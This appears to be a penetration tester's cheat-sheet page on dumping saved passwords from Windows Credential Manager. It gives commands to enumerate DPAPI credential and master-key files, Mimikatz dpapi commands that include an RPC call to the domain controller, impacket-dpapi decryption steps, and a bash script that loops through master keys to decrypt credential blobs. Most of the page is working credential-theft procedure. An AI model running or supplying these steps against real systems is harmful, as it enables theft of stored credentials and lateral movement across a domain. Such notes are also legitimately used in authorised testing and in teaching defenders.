Skip to main content

Dumping Passwords from Windows Credential Manager

Credential Enumeration

cmdkey /list

In reverse shells, I have noticed that it's impossible to spawn processes usingĀ runas.exe /savecred /user:DOMAIN\username if the credential is stored in Windows Credential Manager.

That said, we may still be able to dump the password using the Mimikatz dpapi module, which is how these credentials are protected.

Common Locations for Cached Credentials

# Legacy CMD Environment Variable
"%USERPROFILE%\AppData\Local\Microsoft\Credentials"
"%USERPROFILE%\AppData\Roaming\Microsoft\Credentials"

# PowerShell Environment Variable
"$env:USERPROFILE\AppData\Local\Microsoft\Credentials"
"$env:USERPROFILE\AppData\Roaming\Microsoft\Credentials"
ls -r -force -ea silentlycontinue ~\AppData\Local\Microsoft\Credentials\ | select -expand fullname
ls -r -force -ea silentlycontinue ~\AppData\Roaming\Microsoft\Credentials\ | select -expand fullname

Enumerate any stored credentials

Common Locations for Encryption Keys

# Legacy CMD Envrionment Variables
"%USERPROFILE%\AppData\Local\Microsoft\Protect"
"%USERPROFILE%\AppData\Roaming\Microsoft\Protect"

# PowerShell Environment Variables
"$env:USERPROFILE\AppData\Local\Microsoft\Protect"
"$env:USERPROFILE\AppData\Roaming\Microsoft\Protect"
ls -r -force ~\AppData\Roaming\Microsoft\Protect\ | ? { $_.Name -notin $('CREDHIST', 'Preferred', 'SYNCHIST') } | select -expand fullname

Enumerate any stored keys

Use Mimikatz to Unprotect DPAPI Data

Cache Master Keys

mimikatz # dpapi::masterkey /rpc /in:C:\Users\user_name\AppData\Roaming\Microsoft\Protect\S-1-5-21-1199398058-4196589450-691661856-1107\191d3f9d-7959-4b4d-a520-a444853c47eb
mimikatz # dpapi::masterkey /rpc /in:C:\Users\user_name\AppData\Roaming\Microsoft\Protect\S-1-5-21-1199398058-4196589450-691661856-1107\10811601-0fa9-43c2-97e5-9bef8471fc7d
mimikatz # dpapi::cache

Make RPC call to domain controller to retrieve master key when password is unknown

Unprotect Cached Credentials

mimikatz # dpapi::cred /in:C:\Users\user_name\AppData\Roaming\Microsoft\Credentials\84F1CAEEBF466550F4967858F9353FB4

Go through each cached credential file and attempt to unprotect it using the cached encryption keys

Using Impacket to Unprotect DPAPI Data

Transfer Files to Attack Box

Following the enumeration steps above:

Use one of the file transfer techniques here to transfer the files to your attack box.

impacket-dpapi

You can find the user SID in the output of the whoami /all command.

impacket-dpapi masterkey -file 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password 'P@$$word1!'

Decrypt the master key using the user SID and user password

impacket-dpapi credential -file C4BB96844A5C9DD45D5B6A9859252BA6 -key '0xf8901b2125dd10209da9...[snipped]...'

Having decrypted the master key, use it to try and read a credential blob

Use Bash to Automate Decryption

Create directories to store the master keys and credential blobs. Then, copy each type of file to their respective location.

mkdir -p /tmp/dpapi/keys /tmp/dpapi/creds
  • Master key files are named in UUID4 format
    • a20ef865-8ed4-409b-9786-84f7f84d1541 for example
    • Place any files containing master key data in the path set in KEYS_DIRECTORY in the script
  • Credential blob files are one long hexadecimal string
    • DFBE70A7E5CC19A398EBF1B96859CE5D for example
    • Place any files containing credential data in the path set inĀ CREDS_DIRECTORY in the script

Effectively, this script is just going one by one through the master keys and trying to decrypt them with the user password. If the key is decrypted, try and read the credential blobs with the master key.

#!/usr/bin/env bash

USER_SID="S-1-5-21-4024337825-2033394866-2055507597-1115"
USER_PW='P@$$word1!'
KEYS_DIRECTORY='/tmp/dpapi/keys'
CREDS_DIRECTORY='/tmp/dpapi/creds'
for keyfile in $(ls "${KEYS_DIRECTORY}"); do
  decrypted_key=$(impacket-dpapi masterkey -file "${KEYS_DIRECTORY}/${keyfile}" -sid "$USER_SID" -password "$USER_PW" |
                  grep -E '0x[0-9a-f]{2,}' | 
                  cut -d ' ' -f 3)
  if [ -n "$decrypted_key" ]; then
    for credfile in $(ls "${CREDS_DIRECTORY}"); do
      impacket-dpapi credential -file "${CREDS_DIRECTORY}/${credfile}" -key "$decrypted_key"
    done
  fi
done

References

https://www.thehacker.recipes/ad/movement/credentials/dumping/dpapi-protected-secrets

https://tools.thehacker.recipes/mimikatz/modules/dpapi/masterkey

https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials